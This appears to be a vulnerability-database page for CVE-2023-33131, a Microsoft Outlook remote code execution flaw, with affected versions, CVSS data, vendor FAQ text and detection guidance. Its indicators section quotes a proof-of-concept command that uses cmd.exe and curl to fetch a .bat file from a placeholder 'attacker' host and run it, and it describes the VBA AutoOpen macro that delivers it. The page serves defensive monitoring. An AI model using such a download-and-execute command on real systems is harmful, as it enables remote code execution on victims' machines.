CVE-2023-33131
published 2023-06-14CVE-2023-33131: Microsoft Outlook Remote Code Execution Vulnerability
PriorityP264high8.8CVSS 3.1
AVNACLPRNUIRSUCHIHAH
EXPLOIT
EPSS
5.72%
92.2th percentile
Microsoft Outlook Remote Code Execution Vulnerability
Affected
20 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | microsoft_365_apps_for_enterprise | >= 16.0.1 < https://aka.ms/OfficeSecurityReleases | https://aka.ms/OfficeSecurityReleases |
| microsoft | microsoft_office_2019 | >= 19.0.0 < https://aka.ms/OfficeSecurityReleases | https://aka.ms/OfficeSecurityReleases |
| microsoft | microsoft_office_ltsc_2021 | >= 16.0.1 < https://aka.ms/OfficeSecurityReleases | https://aka.ms/OfficeSecurityReleases |
| microsoft | microsoft_outlook_2013 | >= 14.0.0 < 15.0.5563.1000 | 15.0.5563.1000 |
| microsoft | microsoft_outlook_2013_service_pack_1 | >= 15.0.0.0 < 15.0.5563.1000 | 15.0.5563.1000 |
| microsoft | microsoft_outlook_2016 | >= 16.0.0.0 < 16.0.5400.1000 | 16.0.5400.1000 |
| microsoft | office | — | — |
| microsoft | office_long_term_servicing_channel | — | — |
| microsoft | outlook | — | — |
| microsoft | outlook | — | — |
| microsoft | outlook_rt | — | — |
| msrc | microsoft_365_apps_for_enterprise_for_32-bit_systems | — | — |
| msrc | microsoft_365_apps_for_enterprise_for_64-bit_systems | — | — |
| msrc | microsoft_office_2019_for_32-bit_editions | — | — |
| msrc | microsoft_office_2019_for_64-bit_editions | — | — |
| msrc | microsoft_office_ltsc_2021_for_32-bit_editions | — | — |
| msrc | microsoft_office_ltsc_2021_for_64-bit_editions | — | — |
| msrc | microsoft_outlook_2013 | — | — |
| msrc | microsoft_outlook_2013_rt_service_pack_1 | — | — |
| msrc | microsoft_outlook_2016 | — | — |
Detection & IOCsextracted from sources · hover to see the quote
commandcmd.exe /S /c curl -s https://attacker/namaikativputkata/sichko/nikoganqqsaopraite.bat > nikoganqqsaopraite.bat && .\nikoganqqsaopraite.bat↗
- →Exploit is delivered via a specially crafted Word file containing a malicious VBA macro using AutoOpen() to execute a shell command — monitor for Word documents spawning cmd.exe or curl processes. ↗
- →The VBA macro uses AutoOpen() to call Shell() with cmd.exe, downloading and executing a .bat file via curl — alert on Office processes spawning cmd.exe with curl child processes fetching .bat files. ↗
- →Attack requires user to open a specially crafted file received via email or from a web-based link — monitor for Outlook spawning Office application processes that subsequently execute shell commands. ↗
- →In an email attack scenario, the attacker sends the specially crafted file directly to the victim — inspect inbound email attachments (Word/Office files) for embedded VBA macros with AutoOpen and Shell() calls. ↗
- ·The attacker-controlled URL hostname ('attacker') in the PoC is a placeholder — real-world campaigns will substitute their own C2 domain. The path structure '/namaikativputkata/sichko/nikoganqqsaopraite.bat' is specific to this PoC and may differ in actual attacks. ↗
- ·At time of PoC publication, Microsoft had not yet released a patch — verify current patch status via Microsoft's update guide before assuming remediation is complete. ↗
CVSS provenance
nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vendor_msrc8.8HIGH
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GHSA
GHSA-pr4m-4844-x8pg: Microsoft Outlook Remote Code Execution Vulnerability
ghsa_unreviewed·2023-06-14
CVE-2023-33131 [HIGH] CWE-94 GHSA-pr4m-4844-x8pg: Microsoft Outlook Remote Code Execution Vulnerability
Microsoft Outlook Remote Code Execution Vulnerability
Microsoft
Microsoft Outlook Remote Code Execution Vulnerability
vendor_msrc·2023-06-13·CVSS 8.8
CVE-2023-33131 [HIGH] Microsoft Outlook Remote Code Execution Vulnerability
Microsoft Outlook Remote Code Execution Vulnerability
FAQ: According to the CVSS metric, user interaction is required (UI:R). What interaction would the user have to do?
Exploitation of the vulnerability requires that a user open a specially crafted file.
In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and convincing the user to open the file.
In a web-based attack scenario, an attacker could host a website (or leverage a compromised website that accepts or hosts user-provided content) containing a specially crafted file designed to exploit the vulnerability.
An attacker would have no way to force users to visit the website. Instead, an attacker would have to convince users to click a link, typically by way of an
No detection rules found.
No writeups or analysis indexed.
2023-06-14
Published